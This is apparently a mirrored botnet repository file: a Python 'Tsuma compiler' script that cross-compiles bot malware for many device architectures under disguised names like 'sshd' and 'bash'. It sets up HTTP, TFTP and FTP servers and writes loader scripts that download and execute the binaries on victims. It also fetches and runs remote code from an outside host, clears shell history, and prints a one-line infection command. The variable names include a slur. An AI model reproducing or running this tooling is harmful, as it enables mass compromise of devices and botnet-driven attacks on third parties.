Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/BOT COMPILERS/tsuma-private.txt
5038 views
1
# 妻 Tsuma Compiler known as tsuma.py
2
# The art of compiling
3
# Made by Satoshi Nakamoto
4
# The compiler comes with a range bruter, just if you want to
5
# crack up on ASNs.
6
7
import subprocess, sys
8
9
if len(sys.argv[2]) != 0:
10
ip = sys.argv[2]
11
else:
12
print("\x1b[0;31mIncorrect Usage!")
13
print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
14
exit(1)
15
16
bot = sys.argv[1]
17
18
yourafag = raw_input("Want me to fetch you cross-compilers? Y/N?")
19
if yourafag.lower() == "y":
20
get_arch = True
21
else:
22
get_arch = False
23
24
compileas = ["ntpd", #mips
25
"sshd", #mipsel
26
"openssh", #sh4
27
"bash", #x86
28
"tftp", #Armv6l
29
"wget", #i686
30
"cron", #ppc
31
"ftp", #i586
32
"pftp", #m68k
33
"sh",
34
"' '",
35
"apache2",
36
"telnetd"]
37
38
getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
39
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
40
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
41
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
42
'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
43
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
44
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
45
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
46
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
47
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
48
'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
49
'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',
50
'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2']
51
52
ccs = ["cross-compiler-mips",
53
"cross-compiler-mipsel",
54
"cross-compiler-sh4",
55
"cross-compiler-x86_64",
56
"cross-compiler-armv6l",
57
"cross-compiler-i686",
58
"cross-compiler-powerpc",
59
"cross-compiler-i586",
60
"cross-compiler-m68k",
61
"cross-compiler-sparc",
62
"cross-compiler-armv4l",
63
"cross-compiler-armv5l",
64
"cross-compiler-powerpc-440fp"]
65
66
def run(cmd):
67
subprocess.call(cmd, shell=True)
68
69
run("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")
70
71
if get_arch == True:
72
run("rm -rf cross-compiler-*")
73
74
print("Downloading Architectures")
75
print("Turning off IPTables")
76
printf("Downloading Tsuma Bruter")
77
for arch in getarch:
78
run("wget " + arch + " --no-check-certificate >> /dev/null")
79
run("tar -xvf *tar.bz2")
80
run("rm -rf *tar.bz2")
81
run("wget http://clevelandbrown.tk/tsuma.c; clear; history -c")
82
run("cd /tmp; wget http://clevelandbrown.tk/iptables.sh -O iptables.sh; sh iptables.sh; rm -fr *; clear; history -c")
83
84
print("Cross Compilers Downloaded...")
85
86
num = 0
87
for cc in ccs:
88
arch = cc.split("-")[2]
89
run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")
90
num += 1
91
92
print("Cross Compiling Done!")
93
print("Setting up your httpd and tftp")
94
95
run("yum install httpd -y")
96
run("service httpd start")
97
run("yum install xinetd tftp tftp-server -y")
98
run("yum install vsftpd -y")
99
run("service vsftpd start")
100
101
run('''echo -e "# default: off
102
# description: The tftp server serves files using the trivial file transfer \
103
# protocol. The tftp protocol is often used to boot diskless \
104
# workstations, download configuration files to network-aware printers, \
105
# and to start the installation process for some operating systems.
106
service tftp
107
{
108
socket_type = dgram
109
protocol = udp
110
wait = yes
111
user = root
112
server = /usr/sbin/in.tftpd
113
server_args = -s -c /var/lib/tftpboot
114
disable = no
115
per_source = 11
116
cps = 100 2
117
flags = IPv4
118
}
119
" > /etc/xinetd.d/tftp''')
120
run("service xinetd start")
121
122
run('''echo -e "listen=YES
123
local_enable=NO
124
anonymous_enable=YES
125
write_enable=NO
126
anon_root=/var/ftp
127
anon_max_rate=2048000
128
xferlog_enable=YES
129
listen_address='''+ ip +'''
130
listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
131
run("service vsftpd restart")
132
133
for i in compileas:
134
run("cp " + i + " /var/www/html")
135
run("cp " + i + " /var/ftp")
136
run("mv " + i + " /var/lib/tftpboot")
137
138
run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')
139
140
run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')
141
142
run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')
143
144
run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')
145
146
run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')
147
148
run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')
149
150
run('echo -e "#!/bin/bash" > /var/www/html/bins.sh')
151
152
for i in compileas:
153
run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/bins.sh')
154
run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')
155
run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')
156
run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')
157
158
run("service xinetd restart")
159
run("service httpd restart")
160
run('echo -e "ulimit -n 99999" >> ~/.bashrc')
161
162
print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
163
print("\x1b[0;32mYour link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\x1b[0m")
164
print
165
print("\x1b[0;32mCoded By Satoshi Nakamoto\x1b[0m")
166